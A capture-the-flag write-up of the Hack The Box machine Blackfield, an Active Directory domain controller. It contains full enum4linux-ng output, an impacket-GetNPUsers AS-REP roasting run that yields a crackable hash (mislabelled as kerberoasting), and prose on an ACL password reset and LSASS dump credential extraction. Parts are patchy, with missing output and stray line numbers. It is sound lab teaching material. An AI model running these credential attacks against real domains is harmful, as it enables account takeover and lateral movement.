Hard Windows AD box. SMB guest access lists the domain, an offline Kerberos crack gives support, an ACL resets audit2020, and an LSASS dump yields svc_backup.
Blackfield is a hard Windows domain controller that gives away most of its domain over a null session. Guest authentication to SMB lets enum4linux-ng and a NetExec RID brute force enumerate every user, group and alias, which becomes the username list for an offline Kerberos attack. One of those accounts, support, has a password weak enough for hashcat and rockyou to recover from the captured hash. Running bloodhound-python as support shows that the account can change audit2020’s password, so a net rpc password reset takes over that account and with it the forensic SMB share. The share holds an archived LSASS mini dump, and pypykatz pulls svc_backup’s NT hash out of it for an evil-winrm login as that account.
Enumeration
Bloodhound
After obtaining valid credentials for domain user “support”, it’s possible to use bloodhound-python to enumerate the domain further.
$ enum4linux-ng 10.10.10.192 -A -u pduronuf -p '' | tee scans/enum4linux.log
ENUM4LINUX - next generation (v1.3.4)
==========================
| Target Information |
==========================
[*] Target ........... 10.10.10.192
[*] Username ......... 'pduronuf'
[*] Random Username .. 'yoqzgmmo'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
=====================================
| Listener Scan on 10.10.10.192 |
=====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: timed out
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[-] Could not connect to SMB over NetBIOS on 139/tcp: timed out
====================================================
| Domain Information via LDAP for 10.10.10.192 |
====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: BLACKFIELD.local
===========================================================
| NetBIOS Names and Workgroup/Domain for 10.10.10.192 |
===========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
=========================================
| SMB Dialect Check on 10.10.10.192 |
=========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.02: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
===========================================================
| Domain Information via SMB session for 10.10.10.192 |
===========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: DC01
NetBIOS domain name: BLACKFIELD
DNS domain: BLACKFIELD.local
FQDN: DC01.BLACKFIELD.local
Derived membership: domain member
Derived domain: BLACKFIELD
=========================================
| RPC Session Check on 10.10.10.192 |
=========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[+] Server allows session using username 'pduronuf', password ''
[*] Check for random user
[+] Server allows session using username 'yoqzgmmo', password ''
[H] Rerunning enumeration with user 'yoqzgmmo' might give more results
===================================================
| Domain Information via RPC for 10.10.10.192 |
===================================================
[+] Domain: BLACKFIELD
[+] Domain SID: S-1-5-21-4194615774-2175524697-3563712290
[+] Membership: domain member
===============================================
| OS Information via RPC for 10.10.10.192 |
===============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[+] Found OS information via 'srvinfo'
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '1809'
OS build: '17763'
Native OS: not supported
Native LAN manager: not supported
Platform id: '500'
Server type: '0x80102b'
Server type string: Wk Sv PDC Tim NT
=====================================
| Users via RPC on 10.10.10.192 |
=====================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED
======================================
| Groups via RPC on 10.10.10.192 |
======================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED
======================================
| Shares via RPC on 10.10.10.192 |
======================================
[*] Enumerating shares
[+] Found 7 share(s):
ADMIN$:
comment: Remote Admin
type: Disk
C$:
comment: Default share
type: Disk
IPC$:
comment: Remote IPC
type: IPC
NETLOGON:
comment: Logon server share
type: Disk
SYSVOL:
comment: Logon server share
type: Disk
forensic:
comment: Forensic / Audit share.
type: Disk
profiles$:
comment: ''
type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: DENIED
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: DENIED
[*] Testing share forensic
[+] Mapping: OK, Listing: DENIED
[*] Testing share profiles$
[+] Mapping: OK, Listing: OK
=========================================
| Policies via RPC for 10.10.10.192 |
=========================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
=========================================
| Printers via RPC for 10.10.10.192 |
=========================================
[+] No printers returned (this is not an error)
Completed after 26.00 seconds
Or we can use NetExec performing an RID bruteforce to get all users/groups/aliases:
With no authentication whatsoever, it’s possible to perform a kerberoast attack on user “support”. Its password is common enough to be present in the “rockyou” wordlist, so it was possible to use offline methods to crack the hash.
Use the usernames.txt file to perform the kerberoast attack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ impacket-GetNPUsers -no-pass -usersfile usernames.txt blackfield.local/ | tee scans/kerberoast.log
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$support@BLACKFIELD.LOCAL:07c32815dcaccc0e989438bbdc8218e1$6c6916def592b0c9c9e13b2fd42e498ea528353c7b2392f8844a3b532ed007a438ef997f8b6af83a4c047f2f505fd69687e9edc54220a032226e6e41b60023227d1e530879a570263d5df0896ab81599e898efca49b88c5c79e1170b8b7aa8034101b0744d195d698503f347ab1b653bd1b3b544f88cb9e3487e131098b223cae79dd56e85e17f6645a151e37847c8b73c3ba67a341f2c5a3ff1f4918524ae08927d6bf59d83bf78257751de9c2c8671d3f8906c0c379ddb3fe5e960963ef6f977db56b3d4c59ed5ae41a51395835a8688e0843471883d7ea40ab8f3bbbbc2ee3db28aa8439811de6eefcbd8b6b39a29a4fd83eb
[-] User BLACKFIELD764430 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BLACKFIELD538365 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BLACKFIELD189208 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BLACKFIELD404458 doesn't have UF_DONT_REQUIRE_PREAUTH set
<SNIP>
Using “audit2020” access, we can access the “forensic” SMB share. In the share, we can download a zip archive in the memory dump folder called “lsass.zip”. When we extract the archive, we find a Mini DuMP file called “lsass.DMP”. We can use “mimikatz” tool in a windows machine, or we can use “pypykatz” on our linux attacking machine to extract meaningful contents from it. Using pypykatz on our attacking machine it was possible to obtain the password hash to “svc_backup”.